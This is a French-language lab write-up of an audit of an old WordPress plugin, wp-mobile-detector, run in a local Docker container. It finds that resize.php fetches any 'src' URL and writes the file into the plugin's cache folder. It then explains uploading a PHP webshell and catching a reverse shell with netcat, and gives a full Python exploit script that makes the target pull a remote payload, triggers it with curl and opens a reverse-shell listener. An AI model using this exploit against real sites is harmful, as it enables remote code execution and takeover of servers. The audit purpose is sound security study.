On commence tout d'abord par créer l'environnement docker.
Comme ici le plugin wordpress à auditer est assez ancien, il est nécessaire de passer par un conteneur :
# Sur ma kalidockerrun--namewordpress-p80:80-dthiagobarradas/wordpress:4.5-php7.2MDP:Mudar123
On peut ensuite s'y connecter :
# Shell dans le docker $dockerpsCONTAINERIDIMAGECOMMANDCREATEDSTATUSPORTSNAMES208f62cd787ethiagobarradas/wordpress:4.5-php7.2"/run.sh"6hoursagoUp5hours0.0.0.0:80->80/tcp,:::80->80/tcp,3306/tcpwordpress$dockerexec-it208f62cd787ebash# Dans le docker root@208f62cd787e:/app#
Il faut ensuite paramétrer le plugin de façon à augmenter la limite de taille et omettre la configuration du serveur FTP :
root@208f62cd787e:/app#vimphp.ini# Ajouter les directives suivantes :upload_max_filesize=64Mpost_max_size=128Mmemory_limit=264Mroot@208f62cd787e:/app#vimwp-config.php# De même :define('FS_METHOD','direct' );
On peut commencer à chercher les occurrences mentionnées sur le sujet dans l'archive dézippés du plugin. A savoir les requêtes HTTP utilisées en PHP à l'aide variables commençant par un "$_" :
Ici on fait un regex (expression régulière), nous permettant de trouver toutes les variables présentes dans tout les fichiers .php des fichiers présents dans l'archive.
On obtient ainsi en output :
Un détail saute aux yeux directement, il s'agit de la fonction "file_put_contents" présente dans le fichier de redimensionnement d'image "resize.php". Elle dépose un fichier passé en paramètre après "src" :
En examinant le fichier plus en détail :
"file_put_contents" fait appel ici au tableau associatif $REQUEST pouvant être manipulé par l'utilisateur. On peut donc y passer une valeur, ici un fichier, après le paramètre "src", prenant son chemin absolu, avec "dirname".
Le fichier est ensuite déposé dans le dossier "/cache/" du plugin :
De plus, aucune vérification d'extension ni sanitisation n'est faite sur la valeur passé en paramètre, qui est ici un fichier. On peut donc d'emblée essayer d'y uploader un fichier.
On commence d'abord par démarrer notre serveur Python dans u répertoire prévu à cette effet. Ici, on essaye d'abord avec un fichier .php sans rien à l'intérieur :
On accédant à la page, rien ne se trouve en front (ce qui est normal) :
Notre fichier php est bien uploadé ! Sans plus attendre, on peut dès maintenant y insérer un Webshell, généré avec le superbe outil http://revshells.com :
Le fichier est désormais enregistré en tant que "shell.php". Après avoir séléctionné notre payload et mis le port et l'adresse IP, on peut mettre un netcat en listener :
Puis ensuite remplacer notre hello.php en un shell.php :
import http.server
import socketserver
import requests
from urllib.parse import quote
import threading
from requests.models import PreparedRequest
from http.server import BaseHTTPRequestHandler
import socket, sys, time
import netifaces
from urllib.parse import urlparse, unquote
import os
# Glob vars
print("Don't forget the run a python http web server to host your payload : $ python3 -m http.server PORT_NUMBER")
UPLOAD_ADDR = "http://localhost/wp-content/plugins/wp-mobile-detector/resize.php"
GETSHELL_ADDR = "http://localhost/wp-content/plugins/wp-mobile-detector/cache/"
IP_ADDR = input("Please provide your IP : ")
PORT = input("Please prove a port : ")
PAYLOAD = input("Please provide your payload : ")
# starting the listener
def listen(ip,port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# same as previously
s.bind((IP_ADDR, port))
s.listen(1)
print("Listening on port " + str(port))
conn, addr = s.accept()
print('Connection received from ',addr)
while True:
#Receive data from the target and get user input
ans = conn.recv(1024).decode()
sys.stdout.write(ans)
command = input()
#Send command
command += "\n"
conn.send(command.encode())
time.sleep(1)
#Remove the output of the "input()" function
sys.stdout.write("\033[A" + ans.split("\n")[-1])
def startingAttack():
# getting the http web server address
protocol = "http"
attack_param = f"{protocol}://{IP_ADDR}:{PORT}/{PAYLOAD}"
print("Attack param to send : ", attack_param)
# testing the parameters utils
# for the uploading url
req = PreparedRequest()
url = UPLOAD_ADDR
# params with ip and file from the http server
params = {'src':attack_param}
# Passing params and decoding
req.prepare_url(url, params)
upload_url_param = unquote(req.url)
print("Upload URL: ", upload_url_param)
# Same for the getshell_addr
url_with_payload = GETSHELL_ADDR + PAYLOAD
print("Getting a shell at : " + url_with_payload)
# A GET request to the URLs
upload_response = requests.get(upload_url_param)
#print(upload_response)
# To obtain a shell
os.system("curl " + url_with_payload)
#print(attack_response)
startingAttack()
listen("127.0.0.1",9999)